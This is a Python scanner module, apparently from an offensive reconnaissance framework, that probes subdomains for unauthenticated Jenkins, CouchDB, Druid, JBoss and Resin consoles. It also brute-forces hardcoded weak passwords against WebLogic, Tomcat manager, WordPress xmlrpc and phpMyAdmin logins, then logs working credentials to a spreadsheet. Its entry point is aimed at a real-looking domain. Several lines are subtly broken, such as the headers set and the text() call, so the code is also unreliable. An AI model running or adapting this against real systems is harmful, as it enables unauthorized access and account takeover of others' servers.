# coding=utf-8

from Exploit.BaseExploit import *
from threading import Thread
import requests
import base64
from concurrent.futures import ThreadPoolExecutor
requests.packages.urllib3.disable_warnings()

abs_path = os.getcwd() + os.path.sep


class HttpUnauth(Exploit):
    def __init__(self, domain, clear_task_list):
        super().__init__()
        self.clear_task_list = clear_task_list
        self.domain = domain
        self.user_list = ['root', 'admin']
        self.password_list = ['root', 'sa', 'admin', 'test', 'mysql', '123456', 'admin1234', 'admin12345', '000000', '987654321', '1234', '12345']
        self.headers = {
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"
        }
        
        self.httpunauthlist = []

    def write_file(self, web_lists, target, page):
        workbook = openpyxl.load_workbook(abs_path + str(target) + ".xlsx")
        worksheet = workbook.worksheets[page]
        index = 0
        while index < len(web_lists):
            web = list()
            web.append(web_lists[index]['name'])
            web.append(web_lists[index]['url'])
            web.append(web_lists[index]['组件'])
            worksheet.append(web)
            index += 1
        workbook.save(abs_path + str(target) + ".xlsx")
        workbook.close()

    def exploit(self, _http):

        try:
            rr = requests.get(url=str(_http + '/_config'), headers=self.headers, timeout=5)
            if "couch" in rr.content:
                self.httpunauthlist.append({
                    'name': '未授权Http',
                    'url': rr.url.strip('/'),
                    '组件': 'CouchDB未授权访问漏洞'
                })
                # with open('result.txt', 'a+')as aaa:
                #     aaa.write('CouchDB未授权访问漏洞:' + rr.url.strip('/') + '\n')
        except:
            pass
        '''druid未授权访问'''
        try:
            pp_ = []
            pp1 = _http + '/druid/index.html'
            pp2 = _http + '/druid/druid/index.html'
            pp_.append(pp1)
            pp_.append(pp2)

            for pp in pp_:
                try:
                    # print(pp)
                    qqq = requests.get(url=pp, headers=self.headers, timeout=8)
                    if 'arbitrary' in qqq.content:
                        self.httpunauthlist.append({
                            'name': '未授权Http',
                            'url': qqq.url.strip('/'),
                            '组件': 'druid'})
                except:
                    pass
        except:
            pass


        try:
            r_ = []
            r1 = _http + '/script'
            r3 = _http + ':8080/script'
            r_.append(r1)
            r_.append(r3)
            for r_r in r_:
                try:
                    # print(r_r)
                    rxr = requests.get(url=r_r, headers=self.headers, timeout=8)
                    if 'arbitrary' in rxr.content:
                        self.httpunauthlist.append({
                            'name': '未授权Http',
                            'url': rxr.url.strip('/'),
                            '组件': 'Jenkins未授权访问漏洞'
                        })

                        # with open('result.txt', 'a+')as aaa:
                        #     aaa.write('Jenkins未授权访问漏洞:' + rxr.url.strip('/') + '\n')
                except:
                    pass
        except:
            pass

        try:
            rrr = requests.get(url=str(_http + '/servlets-examples/'), headers=self.headers, timeout=5)
            # print(_http + '/servlets-examples/')
            if 'servlet/RequestParamExample' in rrr.content:
                self.httpunauthlist.append({
                    'name': '应用信息泄漏漏洞',
                    'url': rrr.url.strip('/'),
                    '组件': 'Tomcat example'
                })

                # with open('result.txt', 'a+')as aaa:
                #     aaa.write('Tomcat example 应用信息泄漏漏洞:' + rrr.url.strip('/') + '\n')
        except:
            pass

        try:
            r_ = []
            r1 = _http + '/resin-doc/admin/index.xtp'
            r3 = _http + ':8080/resin-doc/admin/index.xtp'
            r5 = _http + ':8443/resin-doc/admin/index.xtp'
            r_.append(r1)
            r_.append(r3)
            r_.append(r5)
            for r_r in r_:
                try:
                    # print(r_r)

                    rxr = requests.get(url=r_r, headers=self.headers, timeout=8)
                    if '/resin-doc/examples/index.xtp' in rxr.content:
                        self.httpunauthlist.append({
                            'name': 'viewfile远程文件读取漏洞',
                            'url': r_r,
                            '组件': 'Resin'
                        })
                        # with open('result.txt', 'a+')as aaa:
                        #     aaa.write('Resin viewfile远程文件读取漏洞:' + r_r + '\n')
                except:
                    pass
        except:
            pass

        try:
            r_ = []
            r1 = _http + '/jmx-console/'
            r3 = _http + ':8080/jmx-console/'
            r_.append(r1)
            r_.append(r3)
            for r_r in r_:
                try:
                    # print(r_r)

                    rxr = requests.get(url=r_r, headers=self.headers, timeout=8)
                    if 'flavor=URL,type=DeploymentScanner' in rxr.content:
                        self.httpunauthlist.append({
                            'name': 'JBoss后台上传漏洞',
                            'url': r_r,
                            '组件': 'JBoss'
                        })
                        # with open('result.txt', 'a+')as aaa:
                        #     aaa.write('JBoss后台上传漏洞:' + r_r + '\n')
                except:
                    pass
        except:
            pass

        try:
            r_ = []
            r1 = _http + '/console/login/LoginForm.jsp'
            r3 = _http + ':7001/console/login/LoginForm.jsp'
            r7 = _http + ':7002/console/login/LoginForm.jsp'
            r_.append(r1)
            r_.append(r3)
            r_.append(r7)
            for r_r in r_:
                try:
                    # print(r_r)
                    for uuser in self.user_list:
                        for ppass in self.password_list:
                            data = {'j_username': str(uuser), 'j_password': str(ppass),
                                    'j_character_encoding': 'GBK'}
                            rxr = requests.post(url=r_r, data=data, headers=self.headers, timeout=8)
                            if 'WebLogic Server Console' in rxr.content:
                                self.httpunauthlist.append({
                                    'name': 'Weblogic弱口令漏洞',
                                    'url': r_r + ':' + uuser + '|' + ppass,
                                    '组件': 'Weblogic'
                                })
                                # with open('result.txt', 'a+')as aaa:
                                #     aaa.write('Weblogic弱口令漏洞:' + r_r + ':' + uuser + '|' + ppass + '\n')
                except:
                    pass
        except:
            pass

        try:
            r_ = []
            r1 = _http + '/RetainServer/Manager/login.jsp'
            r2 = _http + '/Manager/login.jsp'
            r3 = _http + ':8080/Manager/login.jsp'
            r4 = _http + ':8080/RetainServer/Manager/login.jsp'
            r_.append(r1)
            r_.append(r2)
            r_.append(r3)
            r_.append(r4)
            for r_r in r_:
                try:
                    # print(r_r)
                    rxr = requests.get(url=r_r, headers=self.headers, timeout=10)
                    if 'onkeypress="if(event.keyCode==13)' in rxr.content:
                        for uuser in self.user_list:
                            for ppass in self.password_list:
                                data = {'login': str(uuser), 'pass': str(ppass), 'Language': 'myLang'}
                                try:
                                    r_br = requests.post(url=r_r, data=data, headers=self.headers, timeout=10)
                                    if 'Router Configuration' in r_br.content:
                                        self.httpunauthlist.append({
                                            'name': 'Tomcat远程部署弱口令',
                                            'url': r_r + ':' + uuser + '|' + ppass,
                                            '组件': 'Tomcat'
                                        })
                                except:
                                    pass
                except:
                    pass
        except:
            pass

        try:
            r_ = []
            r2 = _http + '/manager/html'
            r1 = _http + ':8080/manager/html'
            r3 = _http + ':8081/manager/html'
            r_.append(r1)
            r_.append(r3)
            for r_r in r_:
                try:
                    # print(r_r)
                    rxr = requests.get(url=r_r, headers=self.headers, timeout=5)
                    if 'Manager App HOW-TO' in rxr.content:
                        for uuser in self.user_list:
                            for ppass in self.password_list:
                                headers = {'Authorization': 'Basic %s==' % base64.b64encode((uuser + ':' + ppass).encode()).decode()}
                                try:
                                    rxrx = requests.get(url=r_r, headers=headers, timeout=8)
                                    if rxrx.status_code == 200:
                                        self.httpunauthlist.append({
                                            'name': 'Tomcat后台管理弱口令',
                                            'url': r_r + ':' + uuser + '|' + ppass,
                                            '组件': 'Tomcat'
                                        })
                                        # with open('result.txt', 'a+')as aaa:
                                        #     aaa.write('Tomcat后台管理弱口令:' + r_r + ':' + uuser + '|' + ppass + '\n')
                                except:
                                    pass
                except:
                    pass
        except:
            pass

        try:
            flag_list = ['<name>isAdmin</name>', '<name>url</name>']
            for uuser in self.user_list:
                for ppass in self.password_list:
                    try:
                        login_path = '/xmlrpc.php'
                        PostStr = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall>  " \
                                  "<methodName>wp.getUsersBlogs</methodName>  <params>   " \
                                  "<param><value>%s</value></param>   <param><value>%s</value></param>  " \
                                  "</params></methodCall>" % (uuser, ppass)
                        resp = requests.get(url=_http + login_path, headers=self.headers, data=PostStr,timeout=3)
                        content = resp.text()
                        for flag in flag_list:
                            if flag in content:
                                self.httpunauthlist.append({
                                    'name': 'Wordpress弱口令',
                                    'url': _http + login_path + ':' + uuser + '|' + ppass,
                                    '组件': 'WorkPress'
                                })
                    except:
                        pass
        except:
            pass

        # phpMyAdmin弱口令漏洞
        try:
            r_ = []
            r1 = _http + '/phpmyadmin/index.php'
            r2 = _http + ':999/phpmyadmin/index.php'
            r4 = _http + ':8080/phpmyadmin/index.php'
            r_.append(r1)
            r_.append(r2)
            r_.append(r4)
            for r_r in r_:
                try:
                    rxr = requests.get(url=r_r, timeout=10)
                    if 'Documentation.html' in rxr.content:
                        for uuser in self.user_list:
                            for ppass in self.password_list:
                                data = {'pma_username': str(uuser), 'pma_password': str(ppass)}
                                try:
                                    r_br = requests.post(url=r_r, data=data, timeout=10)
                                    if 'mainFrameset' in r_br.content:
                                        self.httpunauthlist.append({
                                            'name': 'phpMyAdmin弱口令',
                                            'url':  r_r + ':' + uuser + '|' + ppass,
                                            '组件': 'phpMyadmin'
                                        })
                                        # with open('result.txt', 'a+')as aaa:
                                        #     aaa.write('PHPmyadmin弱口令:' + r_r + ':' + uuser + '|' + ppass + '\n')
                                except:
                                    pass
                    else:
                        pass
                except:
                    pass
        except:
            pass

    def main(self):
        logging.info("HttpUnauthScan Start")
        p = ThreadPoolExecutor(10)
        temp_ips = []
        for aaa in self.clear_task_list:
            flag = 0
            if aaa['target'] == 'subdomain':
                for i in temp_ips:
                    if aaa['subdomain'] == i:
                        flag += 1
                if flag == 0:
                    temp_ips.append(aaa['subdomain'])
                    subdomain = aaa['subdomain'].replace('\n', '') if aaa['subdomain'].startswith('http') else 'http://' + aaa['subdomain'].replace('\n', '')
                    p.submit(self.exploit, subdomain)
                    print("未授权扫描HTTP：", aaa['subdomain'])
        p.shutdown()
        self.write_file(self.httpunauthlist, self.domain, 9)


if '__main__' == __name__:
    http_list = ['www.nbcc.cn']
    thread_list = []

    for i in http_list:
        xxx = HttpUnauth('nbcc.cn', i)
        thread_list.append(Thread(target=xxx.main))

    for i in thread_list:
        i.start()

    for i in thread_list:
        i.join()





